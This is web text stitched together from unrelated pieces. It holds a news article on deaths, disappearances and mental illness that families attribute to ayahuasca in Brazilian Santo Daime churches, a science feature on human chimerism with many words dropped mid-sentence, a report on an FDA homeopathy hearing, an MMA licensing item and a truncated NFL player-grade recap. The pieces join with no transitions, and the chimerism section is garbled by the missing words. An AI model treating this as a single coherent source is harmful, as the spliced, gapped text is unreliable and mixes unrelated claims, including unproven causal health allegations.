Visions: The Santo Daime churches have embraced the traditional drink after the sect's founder Raimundo Irineu Serra first tried it in the 1920s, claiming it caused him to see the Virgin Mary as the 'Queen of the Forest'
Side effects: But for Deise - pictured here with fellow church members, dressed in a pink dress, centre front - the tea had different effects, becoming restless, unable to concentrate. She ended up on anti-depressants
Despite Pedalino's assurances, an increasing number of horror stories are beginning to emerge about the damaging and often deadly effects of the tea on followers - particularly those who already carried a hidden or underlying health problem or mental illness.
Many claim that the lack of proper controls, allowing anyone to open a 'church' and administer the drug, has led to an untold number of easily-avoidable tragedies.
The tea, which contains the psychedelic drug DMT, almost always induces profuse vomiting, discomfort and other physical effects before the start of the hallucinogenic experience - which is said to bring personal enlightenment by confronting the user with their darkest fears.
VOMITING THEN A TEN HOUR TRIP Ayahuasca, or yage, contains Dimethyltryptamine, known as DMT. Used in South America, especially in the Amazon basin, Ayahuasca is a drink produced from the stem bark of the vines Banisteriopsis caapi and B. inebrians. It is said to have healing properties and bring inner peace by purging toxins and can produce reactions including vomiting. Psychedelic experiences last six to 10 hours and are guided by experienced shamans in the South American countries where ayahuasca is legal to consume.
In July, nursing assistant Deise Faria Ferreira, 41, who had been frequenting a nearby Daime temple for three months, left her home in Goiania, central Brazil, to take part in an ayahuasca cleansing ceremony. She has not been seen again.
Her devastated family believe she is the latest victim of the unregulated spread of the rituals in the country, and the protected use of the hallucinogenic tea under the guise of 'religion'.
Her daughter Apoena told MailOnline that Deise, who had never had any health problems, started showing signs of mental illness and high blood pressure two months after first starting to drink the tea in church ceremonies.
She said: 'She became very different, more restless, less able to concentrate. Her blood pressure kept going up, and none of the tablets she was prescribed was able to get it down.
'She ended up taking medicine for convulsions, depression and anxiety, as well as the blood pressure pills. She'd never had any problems with her health before. This was the effect of the ayahuasca, I'm sure of it.'
Under doctors orders, Deise spent a month off work and went to stay with a relative in the country's capital, Brasilia. But a day after returning home on July 9, she spent the day with the sect, whose leaders allegedly told her to stop taking the tablets.
Apoena said: 'They told her she was intoxicating herself with poison and that her body needed to be cleansed.
'She agreed to go to a nearby country retreat with six cult members to take part in a weekend-long ayahuasca purging ceremony.
Gone: Deise went to spend a month with a relative, and had recovered a bit. But then she returned in July and was encouraged to go to a weekend purging ceremony at a country retreat. She hasn't been seen since
Widespread: Since then her daughter has heard similar stories from people whose loved ones have either disappeared or been sent crazy by the tea, made from this root
'They told her not to tell anyone, not even her family, but she managed to call my grandmother and told her where she was going, and that she was going to be detoxified. That was the last time she spoke to her.
'When my grandmother called the cult leader the next day to find out where she was, he at first pretended he hadn't been with her.'
The details of what happened next are unclear. Those who were with Deise claim that after consuming ayahuasca on the Saturday night, she became agitated and asked to go home, but as one of them drove her out of the retreat she opened the car door and went off on foot.
The group claim they searched for her and could not find her - but did not explain why they failed to inform her family until Deise's mother's called - 23 hours after she went missing.
Police later found clothes belonging to Deise on the property covered in red stains, which tests later revealed was an unidentified substance other than blood.
She [her mother Deise] ended up taking medicine for convulsions, depression and anxiety, as well as the blood pressure pills. She'd never had any problems with her health before. This was the effect of the ayahuasca, I'm sure of it Apoena Ferreira
Luminol tests revealed blood splatters on walls in the interior of the building, although DNA tests to find out if it is Deise's have not yet returned.
Cameras on the only roads Deise would have walked along to leave the retreat failed to find images of her.
Two months on, Apoena said the family no longer holds out hope that her mother is alive.
She said: 'Either she became ill and died, and they got scared and hid her body, or they used her as a sacrifice and murdered her. I don't know what they do in these rituals, I just know that she is no longer alive.
'It's left the family in pieces. The authorities should better control the use of this drug before it destroys more lives.'
The case appears similar to that of American student Kyle Nolan, who disappeared in 2011 while at an ayahuasca lodge in Peru designed to help recruits 'open their minds to deeper realities'.
After initially joining his mother's pleas for help in finding her son, the shaman who ran the retreat admitted the 18-year-old had died after an ayahuasca session and that he buried his body at the edge of the property.
Apoena claims that since her mother disappeared, she has been contacted by other families who have suffered their own tragedies, which they too blame on the hallucinogenic brew.
She said: 'We've heard lots of cases of people who committed suicide immediately after taking the tea for the first time.
'Two families who live next to the Daime church my mother went to also spoke to us. One of them told us that their daughter killed herself after drinking the tea. Another woman, who lives right next to the temple, said her husband took his own life after taking the tea for the very first time.
'There are lots of cases of suicide, but the families are often poor and because it was suicide they don't have any way of proving that it was because of the drug, so the death goes unreported.
Devotees: Brazilian families are now speaking out to warn people against the drug, which actress Lindsay Lohan (pictured in 2014) credited with 'saving her life' after she drank the tea
Vision: Sting, pictured with his wife Trudie Styler, says the tea gave him the one religious experience of his life
'There are many other cases of people becoming schizophrenic after taking the tea, or going crazy for the rest of their lives. These churches are attracting more and more followers, most of them young people who go just for the hallucinations.
'Anyone can take the tea, there are no health checks and not even first-aiders on stand-by in case anything goes wrong.
'How many more people will have to die and how many more families will have to suffer before something is done about this?'
The claims are echoed by Claudetina de Almeida, 47, whose son Joao Raimundo, 20, killed himself by jumping off a viaduct after taking ayahuasca in a Santo Daime church where he had been a member for three years.
My son become delusional. He started saying he was the incarnation of Jesus Christ and that one of his sisters was the Virgin Mary. He once tried to attack me with a hoe. I thought he was possessed by an evil spirit. Claudetina de Almeida
Claudetina, a domestic maid, said her son began to show signs of schizophrenia a year after starting to attend the church, where the tea, considered a sacrament, is distributed to followers during services.
She said: 'He was a normal person who was happy and liked to joke. But the problems began after he started to frequent this religion.
'He started talking to himself, laugh for no reason and he seemed like he was on another planet. He become delusional. He started saying he was the incarnation of Jesus Christ and that one of his sisters was the Virgin Mary.
'He once tried to attack me with a hoe. I thought he was possessed by an evil spirit. It took me a while to realise the problem was his health. The psychologists said that he was schizophrenic.'
Joao reportedly drank poison before throwing himself off the viaduct in the centre of Sao Paulo, south-east Brazil. Following his death, Claudetina reported the case to police, but the investigation was closed two months later because of lack of proof linking ayahuasca to his death.
She said: 'I have no doubt that the ayahuasca developed schizophrenia in my son. And this drug took my son's life, as it has taken the lives of many other sons and daughters. It is responsible for the deaths of more people than anyone is willing to admit.'
Joao was a member of the Ceu de Maria church in Sao Paulo, the scene of another horror story linked to ayahuasca which shook Brazil in 2010.
The church's founder, and one of Brazil's best-known cartoonists, Glauco Villas Boas, 53, and his 25-year-old son Raoni, were gunned down by a masked assailant who had burst into their home.
The murderer, it turned out, was one of Glauco's followers, whose family claimed he had developed schizophrenia after starting to frequent the church and use the mind-altering drink.
Victim: Claudetina de Almeida believes the tea (pictured) caused her son's schizophrenia, which eventually led to his death
Easy: People in the UK don't need to travel to the Amazon to try it for themselves, but order it online (pictured)
Difficult: But the website, which is based in the Netherlands, refuses to explain how to brew the tea - saying they believe it to be 'impossible and unethical' to advise people through the internet
When police caught 24-year-old Carlos Eduardo Sundfeld Nunes he claimed he had wanted to kidnap the cartoonist to prove to his family that his younger brother was, in fact, Jesus Christ.
His father, Carlos Grecchi Nunes, later told Brazilian magazine Isto E: 'He started talking about religion the whole time. He once spent five days without sleeping, reading the Bible. He said he was the reincarnation of Jesus Christ.
'One day he arrived back from the church so out of his mind that his brother had to tie him to the gate. His mother asked the church to stop giving him the tea, but it was in vain.
'On New Year's Eve he went to church and, on his way back, was so high that he crashed his car in a ditch.'
Meanwhile, on numerous online discussion forums the families of other members of Brazilian ayahuasca sects share stories of their loved ones own descent into isolation, and their desperate attempts to take them out.
In one, Suele writes: 'I've been trying to take my daughter out of Santo Daime for five years. She lives only for this sect, she's forgotten her brothers and other family. She even lost custody of her 10-year-old daughter, and still she doesn't leave.
'God is liberty and not imprisonment. This sect is brainwashing and addiction.'
Another mother, Rosangela, writes: 'I know a lot of young people who developed mental problems after they started taking this tea, and there is a high rate of suicide among those who go there. This sect brainwashes people, they brainwashed my son. Please the authorities need to do something.'
I've been trying to take my daughter out of Santo Daime for five years. She lives only for this sect, she's forgotten her brothers and other family. She even lost custody of her 10-year-old daughter, and still she doesn't leave Suele, parent on online forum
But Brazilian 'church leader', Fabio Pedalino, has defended ayahuasca's reputation and claims it helps cure people mental illness and insanity - but only if administered by people who are trained to do so.
He said: 'We have seen many mad people cured through Daime. But we've seen that, with people with schizophrenia, it only works if they drink a very small amount.
'A large amount makes the voices in their head speak even louder, which can make their illness worse.
'In the same way, you have to be careful if people are taking other types of medicines, because this can also cause complications if mixed with Daime.'
'The problem is when you get people who are only interested in money, who prepare it wrongly and mix it with other substances.'
The dire warnings about ayahuasca don't seem to have reached the increasing number of celebrities, including Jim Carrey, Tori Amos and Courtney Love, who claim to have had their lives changed after their own ayahuasca experiences.
Lindsey Lohan claimed the herbal tea 'saved her life', saying she saw her own birth and death during the intense hallucination, and that the experience helped her let go of the 'wreckage of the past'.
And Sting, who says he drank ayahuasca in a Rio de Janeiro church, said the hallucinogenic concoction was 'the only genuine, religious experience I've ever had'.
He remembered how after drinking the brew he felt 'something coursing through my body, like an intelligence searching everything. I am wired to the entire cosmos. I look at the ground and I see a crack in the ground and inside that crack I see a little flower growing… it's my brother.'
The rush to follow in the stars' footsteps has created a tourism boom around the Amazon basin, where resorts and lodges offer 'cleansing ceremonies' for ayahuasca pilgrims, conducted by shamans, for up to £500 a time.
The owner of one jungle lodge resort, in the Colombian town of Leticia, on the border with Brazil, told MailOnline that many people come intent on drinking the tripping tea, but most of the partakers are 'thrill seekers just looking for that out-of-body experience'.
Laws: Yage became legal to consume in Brazil in 2010, as long as it was for 'religious purposes'
Psychiatrist Ronaldo Laranjeira, from Sao Paulo Federal University, believes that ayahuasca is so dangerous it should be banned, even at the expense of religious liberty.
He said: 'This is a drug with hallucinogenic effects, which profoundly alters the chemicals of the brain of whoever consumes it. But even children, according to the law, can take it.
'The tea should not be recommended for any use, not even in religious ceremonies, like those of Santo Daime. From a scientific point of view, it doesn't make the slightest sense.'
Many make the point that, if the use of the ritual in church congregations is dangerously unregulated, how much more so the shamans selling psychedelic experiences to young backpackers deep in the jungle.
As well as the deaths of a number of Western tourists, there have been reports of other abuses at the hands of shamans, including rape, sexual molestation and robbery.
He was screaming louder than I've ever heard a human scream. Something must have happened to him to cause him to realise that he just did something that was very wrong for his body. Witness to the death of New Zealand backpacker Matthew Dawson-Clarke
In 2010, a 23-year-old German woman was raped and brutally beaten by a shaman and his accomplice during an ayahuasca ceremony in an Amazonian village.
And in 2013, a Slovakian woman filed charges against a shaman, claiming she had been raped during a ceremony in Peru.
Similarly, there are rarely checks on thrill-seekers' medical history, a fact that has resulted in the deaths of a number of young tourists.
Last year British teenager Henry Miller died after taking ayahuasca in a shamanic ceremony in Colombia - just days after Lindsey Lohan credited the brew with saving her life.
The latest victim, Matthew Dawson-Clarke, suffered a cardiac arrest after consuming another, tobacco-based tea in preparation for an ayahuasca cleansing ceremony during a spiritual retreat in Iquitos, in the Peruvian Amazon.
One witness said: 'He was screaming louder than I've ever heard a human scream. Something must have happened to him to cause him to realise that he just did something that was very wrong for his body.'
But the Santo Daime leaders claim that, on the contrary, the 'sacred' tea can actually cure insanity.
Responding to a query on their website about whether ayahuasca can 'make you crazy', the church replied: 'There have been cases of insane people who have come to Santo Daime and been cured. Other crazy people have remained crazy.
When she arrived, officials shut the door. Fairchild sensed hostility and says they peppered her with odd, insinuating questions. Finally, they revealed the reason for the interrogation. The DNA test had proved Townsend the father. But it ruled Fairchild out as the mother—and, she says, the state no longer believed the children were really hers.
Stunned, Fairchild drove home and dug up her children’s birth certificates, as well as pictures of herself during her earlier pregnancies. She called her mother and broke down crying. The state meanwhile had her submit DNA to a second lab. Within weeks, it confirmed the results from the first lab.
Things got messy after that, as a routine court case deteriorated into a probe of Fairchild’s relationship to her children. State prosecutors didn’t know if she’d acted as a surrogate or perhaps even abducted the children, and Fairchild was afraid the state would investigate her for welfare fraud. She also feared social services would take her children away, and she made furtive arrangements to hide them if need be.
The judge in the case hoped Fairchild’s impending due date might clear things up. He appointed a witness to monitor the birth from the delivery room and to watch blood being drawn from Fairchild and her baby, for more tests. Fairchild agreed to this—but once again failed the test. Her DNA indicated that the baby who’d just emerged from her birth canal wasn’t hers.
Prosecutors were dumbfounded. One of them began searching the medical literature and came across an eerily similar case from 1998, involving a woman in Boston who needed a kidney transplant. She and her three sons had undergone DNA testing to find a suitable donor. Instead, they found out that she couldn’t possibly be the mother of two of them. Genetically, in fact, they appeared to be the offspring of her husband and her brother, the boys’ uncle.
On a hunch, her doctors examined the DNA in a thyroid nodule she’d had removed years before. Oddly, the thyroid DNA matched the DNA of all three sons. From this lead, doctors determined that the woman had a rare condition called chimerism; due to a prenatal twist of fate, she was a genetic blend of two people with different cells. As a result, the cells in some tissues (her skin and blood) and those in other tissues (her thyroid and reproductive organs) had different DNA.
After this revelation, Fairchild submitted more cells for DNA testing, but this time from all over her body, including her cervix. The plan worked. The cervical DNA looked different from the skin and blood DNA she’d submitted before—but it matched her children’s DNA perfectly. Like the Massachusetts woman, Fairchild was declared a chimera, and after 16 months of legal hell, her children were officially hers again.
Chimerism is a strange beast. Scientifically, it’s the persistence of cells from two (or more) people in one body. Firm numbers remain elusive, but most—if not all—humans are probably a little chimeric, since mothers and fetuses commonly exchange cells during . Such chimeric cells can invade organs throughout the body, including the brain, and scientists have found tantalizing links between chimerism and autoimmune diseases, in which the body’s immune system attacks its own tissue. Beyond strictly medical issues, chimerism also raises psychological questions about , sexual , mother-child , and even what constitutes the self.
Large-scale chimerism, à la Lydia Fairchild, occurs when a fraternal twin vanishes inside the womb during the first weeks of pregnancy. Fraternal twins come from two separate eggs and therefore have different DNA, like regular siblings. Sometimes, one fraternal twin “consumes” the other by absorbing its cells.
The resulting singleton baby is a mosaic of different DNA in different organs. A chimera from one male and one female twin can become a hermaphrodite; if twins are the same , the child might have patches of skin or eyes of different colors, but otherwise will probably appear normal. In the absence of extensive DNA testing, he or she will probably never know.
Such stealthiness makes it hard to determine how prevalent chimerism is. A few scientists claim that one-quarter of all twins end up being singletons, but most cite far lower numbers. Regardless, the number of chimeras is probably growing: In vitro fertilization increases the odds of having fraternal twins by about thirtyfold and is also associated with an increased risk of chimerism.
That increase has alarmed some legal thinkers. They envision situations where a chimeric male rapist, for instance, goes free because the sperm DNA collected at the scene doesn’t match the skin or blood DNA he submits to the police. For now, these scenarios remain theoretical, and aside from Lydia Fairchild, just about the only real-life case involving chimerism was more of a farce. A professional cyclist charged with blood doping—injecting himself with someone else’s red blood cells to boost his endurance—claimed the foreign cells inside him must have come from a long-vanished twin in his mother’s womb. The panel hearing his plea didn’t buy it.
Far more common than large-scale chimerism is microchimerism, chimerism on a tiny scale. Microchimerism can result from bone-marrow transplants, poorly prepared blood transfusions, and twins exchanging cells in utero; there’s also evidence that breast-feeding might pass cells from mother to child, and some scientists speculate that unprotected sex might be a contributor. But by far the most common cause of microchimerism is pregnancy.
According to traditional thinking, the placenta acts as a barrier between a mother and a child in the womb, preventing an exchange of cells between them. But recent research has revealed that the placenta is more porous than previously believed, says Kirby Johnson, a biologist at Tufts University. “Now we know a mother and her baby have to be linked. Cell-based communication is essential for a healthy pregnancy.”
Overall, the placenta allows for a lot of two-way traffic, with fetal cells stealing into Mom, and maternal cells slipping into Child. (Even tumor cells can cross over, and there are a few well-documented cases of mothers giving cancer to fetuses.) After cells cross over, some get rounded up and killed by the new host’s immune system. Many, however, take root in the other body, burrowing into the heart, liver, kidneys, spleen, skin, pancreas, gallbladder, and intestines, among other places. Most of these organs house tens to hundreds of interlopers per million normal cells, but the lungs can tolerate thousands of foreign cells per million. Fetal cells do an especially good of colonizing Mom’s body since they often have the power, much like stem cells, to turn into multiple types of tissue, depending on where they find themselves.
At first, researchers assumed that microchimeric transplants would harm the recipient. Most scientists who study microchimerism also study autoimmune diseases, which occur in women three times more often than in men. Scientists have reasoned that perhaps a mother’s immune system, in trying to exterminate fetal cells inside her, inadvertently causes collateral damage to her own tissue. Or perhaps the fetal cells, surrounded by foreign tissue, rebel and attack the mother. Studies have indeed linked high levels of microchimeric cells to some forms of lupus, cirrhosis, and thyroid disease. Twin studies have also found higher levels of microchimerism in females with multiple sclerosis.
Still, there’s at least as much evidence that microchimeric cells prevent certain ailments. Scientists have documented cases where chimeric cells slowed diabetes and liver disease, for instance. The fetal cells, because of their stem cell–like powers, might actually repair damaged tissue: They’re essentially a transplant of younger, healthier cells into depleted organs. Even more intriguing, microchimerism might help protect against certain types of cancer. Women with breast cancer, for instance, generally have lower levels of microchimerism than women who don’t develop the disease, suggesting a possible role for fetal cells in helping our bodies to detect and destroy tumors. Similarly, when patients with certain types of leukemia receive a transfusion of a nonrelative’s cord blood (blood collected shortly after birth, from the placenta or umbilical cord) rates of relapse drop. This occurs because the cord blood contains maternal immune cells that women develop in response to pregnancy, and which fight the cancerous cells in the recipient.
Determining the effects of crossover cells gets even trickier with the brain. Until recently, scientists didn’t even know whether microchimeric cells could invade the brain, says Johnson, in part because of the blood-brain barrier—a cellular firewall that seals the brain off from the body proper, much like a fetus in the womb. But last year a of researchers, led by immunologists William Chan and J. Lee Nelson at the Fred Hutchinson Cancer Research Center in Seattle, proved that the blood-brain barrier is just as leaky as the placenta. Their demonstration of microchimerism in the human brain—the first—“is very encouraging” and should finally open research into how microchimerism might affect brain function and brain diseases, says Gerald Udolph, a biologist at the Institute of Medical Biology in Singapore.
Chan and Nelson’s team ran DNA tests on the brains of 59 women who died between the ages of 32 and 101. To make things simple, they searched for a gene found only on the male Y chromosome. (Women shouldn’t have any Y-chromosome DNA, so finding it would provide strong evidence of the presence of microchimeric cells.) Overall, the scientists found DNA evidence for male cells in 63 percent of the subjects, distributed in multiple brain regions. One woman who tested positive had died at 94, well past child-bearing age, meaning the male cells had stuck around for at least half a century.
Where did the male DNA appear in the brain? All over. About half of the parietal and temporal lobe samples studied contained male DNA; occipital and frontal lobe samples contained it at lower rates. Male DNA was found in 40 and 35 percent of thalamus and hippocampus samples, respectively, and 90 percent of samples of the medulla, the part of the brainstem just above the spine. These shouldn’t be taken as absolute numbers, because the team had small sample sizes, and they didn’t even try to search for microchimeric cells from female offspring. But the wide distribution is important, Udolph says, because it shows that fetal cells “might be able to contribute functionality to many, or maybe all, brain areas. The homing to multiple brain sites also might demonstrate that these cells are plastic.”
Still, the study raises more questions than it answers. Chan and Nelson don’t know whether the male DNA they found came from neurons or other brain cells, much less whether the invading cells affect , perception, or other facets of the mind. Nevertheless, animal studies provide a glimpse of what such cells might be doing.
Experiments by Udolph have shown that in mice mothers, fetal cells become full-fledged neurons and function in processes. Despite their different DNA, there’s no evidence yet that those neurons can cause mothers to think differently, he says, but this influx “can be regarded as a naturally occurring form of a ‘stem-cell transplantation’” that might repair defects in the brain and restore normal function. On a more general level, given all the two-way cellular traffic, “the dogma of every cell in our body being genetically identical has to be revised,” he says.
Nelson and Chan’s paper also explored a potential link between microchimerism and Alzheimer’s disease. The more a woman gives birth, the higher her risk of Alzheimer’s disease. Nelson reasoned that perhaps an accumulation of fetal cells in the brain might contribute to the condition. Surprisingly, the study found the opposite: Women had a 60 percent lower chance of having Alzheimer’s if their brains hosted male microchimeric cells. Nelson cautions that later studies could significantly alter the picture, but for now microchimerism doesn’t appear to be a cause. If the results hold up, they may provide a new lead for slowing or preventing Alzheimer’s disease.
Microchimerism might also play a role in child development. A fetus in the womb is exposed to more than just its mother’s cells. A woman also has cells from her mother stowed away in her organs, from her long-ago fetal days. So every pregnant woman has at least three generations of cells inside her. If a mother-to-be has been pregnant before, cells from the firstborn baby could be in the mix as well. In fact, there’s good evidence that older siblings can bequeath their cells to younger siblings via the womb.
This sibling hand-me-down could have real consequences. As the fetus grows week to week, certain turn on and off, and cells produce different biochemicals and behave in different ways, depending on what developmental stage they’re in. But cells from an older sibling who has already gone through later stages of prenatal development might be too “old” for the fetus’s body, Nelson says, and might not behave appropriately if incorporated. Perhaps that means nothing. But birth interval and do seem to affect certain aspects of development. Males are more likely to be , for instance, if they have older biological brothers. Scientists currently attribute this effect to a possible immune response by the mother, but perhaps the older brother’s cells play a role as well. What’s more, the closer the birth date between two biological siblings, the more likely the younger one will be autistic: A birth interval of less than a year increases the odds threefold. No one knows what role (if any) microchimerism might play in sibling development—or in brain function. “It’s a wide-open question,” says Nelson. But low levels of foreign cells can affect how organs function, she notes, so it’s at least biologically possible. Tufts’s Johnson adds that it’s now legitimate to ask whether microchimeric cells could affect even cherished human faculties like memory and .
We usually think about a body containing only one person. Our cells even produce special markers on their surface to distinguish self from nonself. But in chimeras like Lydia Fairchild, cells from two distinct people inhabit the same body: She’s almost her own cellular twin. Cases like hers fascinate scientists because they upend our notions of identity.
Microchimerism “changes the way you look at the entire human experience,” says Johnson. We naturally form tight bonds with our mothers, he notes, “and to have that bond moving from ‘you’re in my thoughts’ to ‘you’re present in me’ is a powerful thing. You’re taking a relationship and turning it into something physical.”
The mother-child relationship is especially poignant for Johnson. He began studying microchimerism in 1999, a few years before his own mother died of an autoimmune liver disease. During that time, he constantly shared his discoveries with her, including early evidence that microchimeric cells can fight diseases, not just cause them. So as his mother’s illness progressed, they took comfort in the possibility that his cells were battling on her behalf inside her, prolonging her life at least a little.
Even now, Johnson can take solace from another fact: Because of the two-way exchange of cells in the womb, he almost certainly has some of his mother’s cells secreted away inside him still. In some sense, then, she isn’t quite gone. “When you’re with someone in the end of her days, something that passes through your mind is immortality,” he says. “And to me immortality isn’t measured by living forever, but by influence.” Because his mother’s cells continue to act inside him, contributing to how his body—and perhaps even mind—work, his mother has achieved a sort of “perpetual cellular influence,” he says—a modest sort of immortality.
"I am most concerned about the stocking of homeopathic remedies labeled for specific conditions alongside regular over-the-counter (OTC) drugs," Adriane Fugh-Berman, MD, associate professor of pharmacology and physiology at George Washington University in Washington, said Monday. "Most consumers have no idea what homeopathy is and may assume ... these are dietary supplements or even conventional drugs."
Popularity on the Rise
Homeopathic drugs have become more popular in recent years, as the FDA noted in a Federal Register notice announcing the meeting. In 1988, the homeopathic drug market was considered a "multimillion dollar industry," but in 2007, the CDC's National Health Interview Survey "estimated that adults spent about $2.9 billion on the purchase of homeopathic medicine." The agency said it called the hearing to seek "broad public input on the current enforcement policies related to drug products labeled as homeopathic in an effort to better promote and protect the public health."
In its Compliance Policy Guide (CPG) describing conditions under which homeopathic drugs may be marketed, the FDA defines homeopathy as "the practice of treating the syndromes and conditions which constitute disease with remedies that have produced similar syndromes and conditions in healthy subjects."
The guide defines a homeopathic drug as "Any drug labeled as being homeopathic which is listed in the Homeopathic Pharmacopia of the United States (HPUS), an addendum to it, or its supplements," and adds that "Drug products containing homeopathic ingredients in combination with non-homeopathic active ingredients are not homeopathic drug products."
Fugh-Berman, who has written several books on complementary medicine and formerly worked at what is now the National Center for Complementary and Integrative Health at the NIH, is no fan of homeopathy. She cited a paper published last month by Australia's National Health and Medical Research Council, which looked at 57 systematic reviews involving 176 studies of homeopathy.
The paper concluded that "there was no reliable evidence from research in humans that homeopathy was effective for treating the range of health conditions considered: no good-quality, well-designed studies with enough participants for a meaningful result reported either that homeopathy caused greater health improvements than placebo, or caused health improvements equal to those of another treatment."
But others speaking at the hearing begged to differ with Fugh-Berman's opinion. "I have found homeopathic medicines to be a very valuable addition to my practice," Youngran Chung, MD, a pediatric pulmonologist at Northwestern University's Feinberg School of Medicine in Chicago, said at Tuesday's session.
In addition to using homeopathic medications alongside standard asthma treatments such as inhalers and steroids, Chung said she also uses them "in conditions where we have no effective drugs, or to treat side effects of drugs ... I've used them in chronic cough, for dyspnea due to vocal chord dysfunction syndrome ... and also for prevention of recurrent croup, which allows us to decrease emergency department visits."
Many homeopathy proponents who spoke pointed out the lack of side effects engendered by homeopathic remedies. Edward Krenzelok, PharmD, a consulting clinical toxicologist at the Rocky Mountain Poison Control Center, in Denver, said that a study by the center found that from 2006-2013, there were 12 million single-product exposures reported to poison control centers, and 80,456 of those involved homeopathic products.
The vast majority of the homeopathic exposures -- 92% -- involved children under 6, and fewer than 500 of those exposures involved follow-up care at a healthcare facility, Krenzelok said. The study was funded by the Consumer Healthcare Products Association, a trade group for the makers of OTC healthcare products.
But having no adverse effects doesn't mean something is harmless, said Janine Jagger, MPH, PhD, president of the Familial Mediterranean Fever (FMF) Foundation. Jagger, who is also a professor of medicine at the University of Virginia in Charlottesville, noted that even though there is an effective treatment -- colchicine -- for FMF, many patients see a homeopathic remedy called colchicum autumnale and decide to try that instead, thinking that it's an OTC form of colchicine.
"In the case of FMF, substituting nothing for prescription colchicine is very serious when the patient is deprived of [effective therapy]," she said. "I ask that the FDA provide very explicit labels to avoid this kind of mistake by consumers."
Changes Called For
Fugh-Berman also suggested that homeopathic drugs should be separated from non-homeopathic remedies. In addition, "homeopathic remedies should have to disclose ingredients ... using standard dosage terms, including how much of the active ingredient they contain," she said. Fugh-Berman urged that these medications be submitted under a New Drug Application and reviewed by the FDA, but until that happens, "I strongly recommend a disclaimer be added to homeopathic drug label saying it's a homeopathic remedy and has not been reviewed by the FDA."
On the other hand, Bruce Shelton, MD, of the Arizona Homeopathic and Integrative Medical Association, said during Monday's session that in his group's opinion, "there is no need to change the CPG guidelines; the public is adequately protected by FDA regulatory authority ... good manufacturing practices, the Federal Trade Commission, and the legal system."
Shelton, of Phoenix, added that the current CPG "provides substantial guidance for the marketing of homeopathic products."
One thing that many speakers did agree on -- including both supporters and critics of homeopathy -- was the need to crack down on manufacturers who labeled their products as "homeopathic" even though they also contained other ingredients.
"We've found a number of products that use several ingredients where the homeopathic drug is only one part and the rest of the active ingredients are not homeopathic," Amy Rothenberg, ND, of Enfield, Conn., board member of the American Association of Naturopathic Physicians (AANP), said Monday. "The AANP agrees with FDA that these should not be marketed as homeopathic products, and this comes back to ... accuracy that needs to go into any labeling that's done."
Evidence of Efficacy?
The FDA officials on the panel questioned several homeopathy proponents about the evidence available to show that homeopathy is effective. After Tanya Kell, interim president of the North American Society of Homeopaths, said that there was a "long-established record of safety and efficacy in homeopathy," panelist Elaine Lippmann, JD, regulatory counsel at FDA's Center for Drug Evaluation and Research, asked Kell where the evidence for efficacy could be found.
"This is more a compilation of anecdotal evidence; when I studied social work, that was an accepted form of evidence," replied Kell, of Nashville, Tenn. "Homeopathy has hundreds of millions of [anecdotal stories] and we feel they are a legitimate source of data."
Homeopathic medications are typically tested for efficacy using "provings," a process in which the homeopathic remedy is given to an otherwise healthy person to see if it produces symptoms of the disease that the medication is being used for. Lippmann asked Karl Robinson, MD, of the Texas Society of Homeopathy, what it is about the FDA's approval process -- which involves reviewing data from randomized, controlled trials -- that is inconsistent with the practice of homeopathy.
"It's a totally different paradigm," said Robinson, of Houston. "Conventional drugs are first tested on animals and then later on sick people. Ours are only tested on healthy human beings."
He added that homeopathic treatments are very individualized. "Let's say you have five people with infectious Hepatitis A. A homeopath might well ... give five different homeopathic medications, all of which could work and restore the patient to health within a short time."
One point of agreement for many speakers was that the proper use of OTC homeopathic remedies is only for acute, self-limiting diseases such as colds. Paul Mittman, ND, EdD, president and CEO of Southwest College of Naturopathic Medicine and Health Sciences, in Tempe, Ariz., noted that some OTC homeopathic medications have been wrongly marketed for chronic conditions such as asthma, "ignoring the OTC limitation to self-limiting disease conditions amenable to self-treatment."
In order for Sonnen to coach TUF 14 he would have to get a second’s license, but that isn’t going to be so easy after his recent ordeal with the CSAC for heightened levels of testosterone. That in of itself isn’t the major problem though. As he’s been known to do, Sonnen blatantly lied about NSAC director Keith Kizer giving him verbal approval for his testosterone use before UFC 109 at his CSAC hearing and during an subsequent interview with HDNet. Kizer always maintained that he had never even spoke to Sonnen face to face before, and at a recent meeting with himself, Zuffa officials and Sonnen, Kizer called him on it. Long story short, Kizer didn’t get the response he was looking for.
“With his explanations, I don’t know how productive of a meeting it was,” NSAC executive director Keith Kizer told MMAjunkie.com (www.mmajunkie.com). “I really did expect a much more constructive meeting out of that. But it just wasn’t there. I think Zuffa tried; I know we tried. I put the blame completely on Mr. Sonnen.” “His point was, ‘Well, you and I have never talked before right now, but I don’t think I lied,'” Kizer said. “Then he gave some very strange story and claimed, ‘My manager and you talked about therapeutic exemptions, and therefore, I just used the wrong word. I should have said ‘my’ instead of ‘I.’ As in ‘my manager’ instead of ‘I.’ “I was very straight with him, saying, ‘That’s a ridiculous explanation.'”
Kizer added that he typically gives the second’s licenses out himself administratively, but he isn’t going to do that for Sonnen. If Chael wants the license, he is going to have to appear in front of the commission at a formal hearing and explain himself. Furthermore, after Michael Bisping’s regrettable actions at UFC 127, Kizer isn’t sure he would hand him a license either without speaking to the commission first.
By John Breitenbach • Jan 8, 2017
Green Bay Packers 38, New York Giants 13
Here are the top-graded players and biggest takeaways from the Packers’ 38-13 Wild Card playoff victory over the Giants:
Quarterback grade: Aaron Rodgers, 81.9
Passing game explodes after slow start
For the first 27 minutes of the game, the Packers’ offense looked much more like the group we saw over the first half of the season. Receivers struggled to get open and QB Aaron Rodgers was forced to hold onto the ball far too long. But eventually Rodgers and company were able to get into a rhythm. All but three of his 25 completions came when he was kept clean, and he had a 126.3 passer rating on those dropbacks. Rodgers also completed 17 of 19 passes targeted between the numbers, for 263 yards and three touchdowns.
Top offensive grades:
WR Randall Cobb, 88.3
WR Davante Adams, 83.8
RT Bryan Bulaga, 83.1
RG T.J. Lang, 80.7
FB Aaron Ripkowski, 79.0
Cobb, Adams step up in Nelson’s absence
When Jordy Nelson left the game due to injury in the second quarter with Green Bay already struggling on offense, it looked like the Packers were going to be in trouble. However, wideouts Randall Cobb and Davante Adams put together outstanding performances the rest of the game. Both topped 100 yards receiving and combined for four touchdowns. Rodgers had a 153.9 passer rating when targeting the duo. Maybe more impressive, though, was how dominant the Packers were in pass protection. Despite coverage forcing lengthy dropbacks at times, the offensive line was responsible for just four hurries, and did not allow a single sack or hit on Rodgers.
Top defensive grades:
LB Jake Ryan, 93.6
CB Damarious Randall, 88.8
DE Mike Daniels, 80.4
CB Micah Hyde, 78.6
OLB Julius Peppers, 78.1
Ryan wrecks Giants’ West Coast offense
